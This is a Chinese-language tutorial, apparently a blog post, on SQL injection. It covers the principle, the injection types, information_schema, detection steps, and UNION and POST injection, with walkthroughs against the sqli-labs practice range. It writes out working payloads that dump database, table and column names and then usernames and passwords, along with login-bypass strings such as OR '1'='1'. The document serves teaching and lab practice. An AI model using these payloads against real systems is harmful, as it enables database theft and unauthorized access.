SQL注入(原理、分类、union、POST注入

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

SQL注入简介

SQL注入原理

SQL注入类型

MySQL与SQL注入的相关知识

information_schema

数据库的结构

数据库查询语句

limit的用法

需要记住的几个函数

注释符号

SQL注入探测方法

SQL注入漏洞攻击流程

探测方法

注入类型判断

整型参数的判断

UNION注入

union联合查询

union联合注入思路

靶场解析

靶场练习

POST注入

靶场解析


【学习目标、重难点知识】

【学习目标】

  1. SQL注入简介
  1. SQL注入类型
  1. SQL注入探测的基本方法
  1. union注入
  1. POST注入

【重难点知识】

  1. 注入的原理
  1. union注入
  1. POST注入

SQL注入简介

OWASP发布的top10排行榜中SQL注入漏洞一直是危害排名极高的漏洞,数据库注入一直是web中一个令人头疼的问题。

一个严重的SQL注入漏洞,可能会直接导致一家公司破产!

这并不是戏言,其实SQL注入漏洞最主要的形成原因是在进行数据交互中,当前端的数据传入后端进行处理时,由于没有做严格的判断,导致其传入的“数据”在拼接到SQL语句中之后,由于其特殊性,被当作SQL语句的一部分被执行,从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。

SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据做了代码才能干的事情。

这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

SQL注入原理

SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。

举例说明:

$id=$_GET['id']
select asdas #
#
--+    
$sql= SELECT * FROM users WHERE id=8 union select 1,2,3

 LIMIT 0,1

index.php?id=8 union select 1,2,3

SQL注入漏洞产生的条件:

  • 参数用户可控:前端传入的参数内容由用户控制
  • 参数带入数据库的查询:传入的参数拼接到SQL语句,并且带入数据库的查询

借助靶场演示

SQL注入类型

按注入点类型分:

  • 数字
  • 字符
  • 搜索
  • xx型( ')、") 等 )

按提交方式分:

  • GET
  • POST
  • HEAD
  • COOKIE

按执行效果来分:

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的注入
  • 单引号
  • 双引号
  • 数字
  • 联合查询注入

总的来说有:联合注入、布尔注入、报错注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入等等等

MySQL与SQL注入的相关知识

information_schema

  • 在MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是schemata,tables,columns
  • schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为schema_name。
  • tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别是table_schema和table_name.
  • columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为table_schema、table_name、columns_name。
schemata表:存放了所有的库名,存放在schema_name

tables表:存放了所有的库名以及对应的表名
                    ||			||
                table_schema=database()	table_name

columns:库名	 =>	   表名	  =>	字段名
         ||		      ||		 	 ||
    table_schema  table_name	column_name

查找所有的库名:

select schema_name from information_schema.SCHEMATA;

查找指定库中所有的表名:security

select table_name from information_schema.tables where table_schema="security";

查找指定库中的指定表中的字段:security=>users

select column_name from information_schema.columns where table_schema="security" and table_name="users";

面经

mysql5.0上下有什么区别?

数据库的结构

  • 数据库(database):按照数据结构来组织、存储和管理数据的仓库多个数据表的集
  • 数据表(table):以矩阵方式存储数据,在操作界面中以表格形式展现
  • 列(column): 具有相同数据类型的数据的集合
  • 行(row): 每一行用来描述某条记录的具体信息
  • 值(value): 行的具体信息, 每个值必须与该列的数据类型相同
  • 表头(header): 每一列的名称
  • 键(key): 键的值在当前列中具有唯一性。

数据库查询语句

想要查询的值A= select 所属字段名A from 所属表名 where 对应字段名B=值B

limit的用法

limit的使用格式是limit m,n,其中m指的是记录开始的位置,从m=0开始,表示第一条记录;n是指取几条记录。

需要记住的几个函数

  • version();当前mysql的版本
  • database();当前网站使用的数据库
  • user();当前MySQL的用户
  • group_concat():它的作用是将某一列的多个值合并成一个字符串,并用逗号分隔
  • substr():截取字符串
  • ascii(a):把字符转换成ascii码
  • updatexml()

注释符号

  • #
  • -- a 空格可以使用+代替 (url编码%23表示注释)
  • /**/
  • /*!*/ 内联注释

SQL注入探测方法

SQL注入漏洞攻击流程

探测方法

一般来说,SQL注入一般存在于形如:http://xxx.xxx.xxx/abc.php?id=XX等带有参数的php动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在SQL注入。如果php程序员没有安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。

注入类型判断

为了把问题说明清楚,以下以http://xxx.xxx.xxx/abc.php?ip=YY为例进行分析,YY可能是整型,也有可能是字符串。

整型参数的判断

当输入的参数YY为整型时,通常abc.php中SQL语句大致如下:

select * from 表名 where 字段=YY

所以可以用以下步骤测试SQL注入是否存在。

1.在URL链接中附加一个单引号,即http://xxx.xxx.xxx/abc.php?p=YY',此时abc.php中的SQL语句变成了:
​	select * from 表名 where 字段=YY' limit 2,4			//测试结果为abc.php运行异常


2.在URL链接中附加字符串and 1=1即 http://xxx.xxx.xxx/abc.php?p=YY and 1=1
​	select * from 表名 where 字段=YY and 1=1 limit 2,4
​	测试结果为abc.php运行正常,而且与http://xxx.xxx.xxx/abc.php?p=YY运行结果相同;


3.在URL链接中附加字符串and 1=2即http://xxx.xxx.xxx/abc.php?p=YY and 1=2
​	select * from 表名 where 字段=YY and 1=2 limit 2,4
​	测试结果为abc.php运行异常。
//如果以上三种情况全部满足,abc.php中一定存在数字SQL注入漏洞。


如果说上面判断不成立

4. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s		//判断是否为字符型
​	select * from 表名 where 字段='YY' and 1=2 -- s ' limit 2,4

5. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s	//结果返回正常
​	select * from 表名 where 字段='YY' and 1=1 -- s limit 2,4

6. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s	//结果返回异常
​	select * from 表名 where 字段='YY' and 1=2 -- s limit 2,4

则通过4,5,6判断出为字符型

UNION注入

union注入的方式有很多,如:get,post,head,cookie 等等

union联合查询

union联合、合并:将多条查询语句的结果合并成一个结果,union 注入攻击为一种手工测试。

union联合注入思路

判断注入点

http://sqli21/Pass-01/index.php?id='1" and 1=2 -- a'			and两边都为真,所以整体为真,返回结果正常
http://sqli21/Pass-01/index.php?id=1 and 1=2			and一边为假,所以整体为假,返回结果异常

判断出字段数量

order by //排序
http://sqli21/Pass-01/index.php?id=1 order by 3		//判断字段数量,返回正常,说明至少存在3个字段

http://sqli21/Pass-01/index.php?id=1 order by n		//返回异常,说明肯定不存在n列

union联合查询,判断回显点

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,3

爆数据

http://sqli21/Pass-01/index.php?id=-1 union select 1,user(),database()
user()
database()
version()

爆出所有的库名

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

爆出security库中所有的表名

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

爆出security库中users表中所有的字段

http://sqli21/Pass-01/index.php?id=-1 

union
select 1,2,
group_concat(column_name) 
from 
information_schema.columns
where
table_schema="security"
and
table_name="users" -- a

查找所有账号和密码

http://sqli21/Pass-01/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users

靶场解析

靶场搭建

小皮搭建sqli-labs-master靶场
sql-connections/db-creds.inc中修改数据库账户密码

靶场练习

配置SQLI- labs需PHP版本为5.x,数据库会重置。

SQLI- labs:

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

Less-3 GET - Error based - Single quotes with twist - string

Less-4 GET - Error based - Double quotes - string

POST注入

post注入思路和get显错位注入思路一致

只是请求的方法从get变为了post

基本思路如下:

判断是否可以注入

admin' and 1=1 #		//返回正常,登录成功
admin' and 1=2 #		//登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入

判断字段数 =》 order by

admin' order by 3 

判断回显位置 =》 union

1231' union select 1,2,3 -- s

得到数据库名字 =》 database()

1231' union select 1,database(),user() -- s

得到表名 =》 information_schema.tables

得到字段名 =》 information_schema.columns

获取flag

靶场解析

http://sqli21/Pass-05

判断闭合方式
&username=admin' #

判断字段
&username=admi' order by 3 #

判断回显位置
&username=admi' union select 1,2,3 #

获取数据
&username=admi' union select 1,database(),user() #

http://sqli21/Pass-06

username=admi") union select 1,database(),user() #

  • 19
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
SQL 注入攻击中,POST 注入的万能语句是指可以欺骗 web 应用程序执行非授权的数据库操作的 SQL 语句。POST 注入通常是通过提交 POST 请求来触发的,攻击者在 POST 请求中添加恶意的 SQL 代码,从而欺骗应用程序执行恶意操作。 以下是一些常见的 POST 注入攻击用到的 SQL 语句: 1. SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1' 这个语句的含义是,查询表中所有用户名为 'admin' 且密码为 'password' 的数据,或者查询表中所有数据,因为 '1'='1' 恒成立,所以这个语句会返回表中的所有数据。 2. SELECT * FROM users WHERE username = 'admin' UNION SELECT 1,2,3,4,5,6 这个语句的含义是,查询表中所有用户名为 'admin' 的数据,并将其与 SELECT 语句返回的值合并,返回一个新的结果集。在这个例子中,新的结果集只包含一个值为 1,2,3,4,5,6 的行。 为了避免 SQL 注入攻击,应用程序需要进行有效的输入验证和数据过滤。具体来说,可以采取以下措施: 1. 对所有输入数据进行过滤和验证,并使用参数化查询或存储过程等安全的查询方式。 2. 最小化数据库用户的权限,并限制数据库用户的访问范围。 3. 定期更新数据库和应用程序,并及时修补已知的安全漏洞。 4. 实施访问控制和身份验证机制,以确保只有授权的用户才能访问敏感数据。 5. 监控和记录所有数据库访问,及时发现和处理异常行为。 通过采取上述措施,可以有效地缓解 SQL 注入攻击带来的安全威胁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

苏苏渗透大师

请把钱砸我脸上谢谢

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值